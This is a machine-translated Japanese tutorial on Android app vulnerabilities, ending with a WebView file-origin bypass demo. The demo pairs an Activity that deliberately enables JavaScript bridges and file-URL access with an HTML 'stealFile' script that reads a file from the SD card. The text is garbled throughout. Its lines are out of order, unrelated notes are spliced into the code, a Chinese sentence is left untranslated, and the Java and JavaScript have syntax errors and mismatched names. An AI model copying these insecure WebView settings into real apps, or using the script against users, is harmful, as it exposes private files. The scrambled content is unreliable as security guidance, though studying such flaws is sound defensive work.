WebView ファイル ドメイン オリジン ポリシー バイパス脆弱性の分析例
基礎知識 Android アーキテクチャ
カーネル カーネル層
脆弱性は非常に有害であり、汎用性が高い
ドライバーは数多く、複雑であり、多数のドライバーが存在する可能性があります。脆弱性ライブラリ システム ランタイム ライブラリ層
システム ミドルウェアの形式で提供されるランタイム ライブラリ
includes libc、WebKit、SQLite など。AndroidRunTime
Dalvik 仮想マシンとカーネル ライブラリFrameWork アプリケーション フレームワークレイヤー
一連のサービスと API インターフェイスを提供しますアクティビティ マネージャー
コンテンツ プロバイダー
ビュー
エクスプローラー
通知マネージャー
アプリケーション アプリケーション層
- ##システム アプリケーション
ホーム画面 ホーム、連絡先 連絡先、電話 電話、ブラウザ ブラウザ
- その他のアプリケーション
アプリケーション フレームワーク層の API を使用して開発者によって実装されるプログラム
#Andoroid の共通コンポーネント
アクティビティ アクティビティ
- #Service サービス
- BroadcastRecviver ブロードキャスト レシーバー
- ContentProvider コンテンツ プロバイダー
一般的な Android アプリの脆弱性 (OWASP モバイル トップ 10) プラットフォームの不適切な使用
プラットフォーム機能の悪用、またはプラットフォームの使用失敗プラットフォームのセキュリティ制御を使用します。インテントの悪用、権限の悪用など。
リスク
は非常に広範囲であり、モバイル プラットフォーム上のさまざまなサービスに関係する可能性があります- # #例
iOS システムでは、パスワード データがキー チェーンではなくローカル ファイルに保存されるため、擬似暗号化されたバックアップ データから読み取られてしまいます。
Android システムでは、パスワードが不適切に使用されます。インテントにより、悪意のあるユーザーがインテントのコンテンツをハイジャックして変更することになります。元のプロセスの ID 権限を使用してアクションを実行します。 安全でないデータ ストレージ
安全でない通信
##データ ファイルまたはディレクトリ
#クリア テキスト ストレージ
#MODE_PRIVATE
-
##MODE_PRIVATE モードがデータベースの作成時に使用されませんでした - MODE_PRIVATE モードが構成ファイルの作成時に使用されなかったため、他のプログラムが構成ファイルを読み取っていました
-
これはクリア テキストで保存され、root ユーザーは読み取り可能であるため、機密データの漏洩につながります -
SharedPreferences data /data/パッケージ名/shared_prefs/*.xml - SQLiteDatabases
data/データパッケージ名/database/*.db
##内部ストレージ
data/データ/プログラム登録/ファイル/*-
#外部ストレージ/ mnt/sdcard/*
-
検出方法 -
各ファイルを参照し、 /data/data/package 名ディレクトリの下にあるディレクトリを確認し、他のユーザーが読み取り可能なファイルがあるかどうかを確認します。 File
設定ファイル、データベース、ファイルにクリア テキストの機密情報があるかどうかを確認します。 etc. -
マイニング方法 - コード検出
openFileOutput、getSharedPrefreences、openOrCreateDatabase およびその他の関数のモード パラメーターは MODE_PRIVATE(0x0000)
データ通信の脆弱性
HTTP などのクリア テキスト プロトコルを使用して機密情報をサーバーに送信します
# #LAN スニッフィング、悪意のある公衆 WIFI、悪意のあるプロキシ サービス、DNS ハイジャックなどを通じてクリア テキスト通信をキャプチャします。中間者攻撃を生成するその他の手段
- ##クリア テキスト ストレージ
##弱い SSL 証明書の検証
-
.method を見つけてメソッドを終了します -
return があるかどうかを確認します。 void
同様に、verify(String, SSLSession) の戻り値が常に True であるかどうか、および X509HostnameVerifier のパラメータが ALLOW_ALLHOSTNAME_VERIFIER であるかどうかを確認します - Fiddler の HTTPS 解析機能を有効にし、自己署名証明書を生成してエクスポートし、電話機にインストールします。
#Fiddler プロキシを有効にしてリモート アクセスを許可します。ホストがプロキシに接続します
- APP には SSL 証明書の検証がありません クライアントは、3 つのメソッド checkServerTrusted\checkClientTrusted\getInstance を含む X509TruestManager クラスを実装する必要があります
-
証明書の検証に失敗すると例外が発生し、アプリケーションによって処理されます。
- サーバー証明書の検証に失敗すると、TLS マンインザが発生します。 -middle 攻撃 HttpsURLConnection を使用する場合、カスタム HostnameVerifier の実装プロセス中にホスト名が検証されず、証明書のドメイン名とサイト名が一致するかどうかはデフォルトでチェックされません。または、HttpsURLConnection の HostnameVerifier を設定するときに、すべてのドメイン名を受け入れるように ALLOW_ALL_HOSTNAME_VERIIER に設定します。
-
攻撃方法 -
マイニング方法 - #SSL 証明書の強力な検証
Xp、Patch、その他の方法によってバイパスされる可能性があります
Android:exported は 4 つの主要コンポーネントに共通の属性で、他のアプリケーションが現在のコンポーネントを呼び出すことがサポートされているかどうかを示すために使用されます。
インテント フィルターがある場合、デフォルト値は true、それ以外の場合、デフォルト値は false
エクスポートされたエクスポートされたもののアクセス許可制御コンポーネント
認証のバイパス
アクティビティは公開された後に第三者によって呼び出され、ログイン/する可能性があります。パスワードを使用せずにパスワードをリセットする
機密情報の漏洩
recviver は、公開された後に第三者に公開され、デバッグやその他の情報が閲覧される可能性がある に含まれる機密情報 特権プログラムは、高特権プログラムによって公開されたコンポーネントを呼び出すことにより、高特権のアクションを実行します。
##マイニング方法-
AndroidManifest.xmlを表示 drozer のアタックサーフェス ツールを使用してセキュリティ評価を実行します
-
弱い暗号化の脆弱性
逆コンパイル、ルート表示などは取得可能です
パスワードのハード コーディング -
AES/DES の弱い暗号化
ECB モードは分析またはリプレイ攻撃に対して脆弱です -
WebView - 横断する Web ページを作成するgetClass メソッドがある場合、リモートでコードが実行される脆弱性があります
fiddler の before スクリプトにより、任意の Web ページにアクセスするときに任意の Web ビューをテストできます - 発掘方法:
ドメイン管理がされていないstrict
-
setAllowFileAccess - setAllowFileAccessFromFileURLs
setAllowUniversalAccessFromFileURLs (リモート開示につながる)-
##パスワードを平文で保存
攻撃者root 権限で読み取り可能
ユーザーが WebViEW に入力したユーザー名とパスワードを保存することを選択すると、それらはアプリ ディレクトリの data.db に平文で保存されます - 脆弱性マイニングプロセスの概要
- 静的分析 主要な分析対象を迅速に検出して取得
- #AndroidManifest ファイルの確認
##スクリプト解析 Smali コード -
疑わしいリスクの検証と危険性評価
#動的分析
デバッグ モード分析
パケットキャプチャ解析データとインターフェース- 逆分析 暗号解読とロジックとコードのさらなる分析
##-- 自動補助システム
- MobSF には、フロントエンド Web インターフェイス
- # が含まれています
##Marvin にはフロントエンド Web インターフェイス、導入トラブルが含まれています
Inspeckage Xused プラグイン
- #今日は WebView の脆弱性について話します
?
[Java] プレーン テキスト ビュー コードをコピー -
または私の github: https://github.com/MaxSecret/AppVulnerability/tree/master/WebViewFileDemo1
public class MainActivity extends Activity {
次のコードの主な違いは、今回ロードされる Attack_file です。 html -
private Uri mUri;
private String url; //文字列 mUrl2 = "file:///android_asset/html/test.html";
@オーバーライド protected void onCreate(Bundle SavedInstanceState) {
super.onCreate(savedInstanceState); -
setContentView(R.layout.activity_main);
webView = (WebView) findViewById(R.id.webview);
- .method public checkServerTrusted を検索します。
コンポーネント露出の脆弱性
- 任意のコード実行
- #drozer
- サンプル コード アドレス: https://github.com/jltxgcy/AppVulnerability /tree/master/WebViewFileDemo.
- String mUrl1 = "file:///android_asset/html/攻撃ファイル.html";
webView.getSettings().setJavaScriptEnabled(true);
webView.addJavascriptInterface(new JSInterface(), "jsInterface");
webView.getSettings().setAllowFileAccessFromFileURLs(true);
webView.setWebChromeClient(new WebChromeClient() {
@Override
public boolean onJsAlert(WebView view, String URL, String message,JsResult result) {
//ここで必要な機能
return super.onJsAlert(view, url, message, result);
}
});
webView.loadUrl(mUrl1);
}
class JSInterface {
public String onButtonClick(String text) {
final String str = text;
runOnUiThread(new Runnable() {
@Override
public void run() {
Log.e("leehong2", "onButtonClick: text = " str);
Toast.makeText(getApplicationContext(), "onButtonClick: text = " str, Toast.LENGTH_LONG).show();
}
});
return "このテキストは Java レイヤーから返されます。 js text = " text;
}
public void onImageClick(String url, int width, int height) {
final String str = "onImageClick: text = " url " width = " width "高さ = "高さ;
Log.i("leehong2", str);
runOnUiThread(new Runnable() {
@Override
public void run() {
Toast.makeText(getApplicationContext(), str, Toast .LENGTH_LONG).show();
}
});
}
}
}
ここでは webView.getSettings().setAllowFileAccessFromFileURLs(true) を示し、ファイル ファイルを JavaScript 経由でアクセスできることを示しています。
我们再来看 Attack_file.html の代番号:' <本文> <スクリプト> function stoneFile() { var file = "file:///mnt/sdcard/233.txt"; var xmlHttpReq = new XMLHttpRequest(); xmlHttpReq.onreadystatechange = function(){ if(xmlHttpReq.readyState == 4){ alert(xmlHttpReq.responseText); } } xmlHttpReq.open("GET", file); xmlHttpReq.send(null); } stealFile();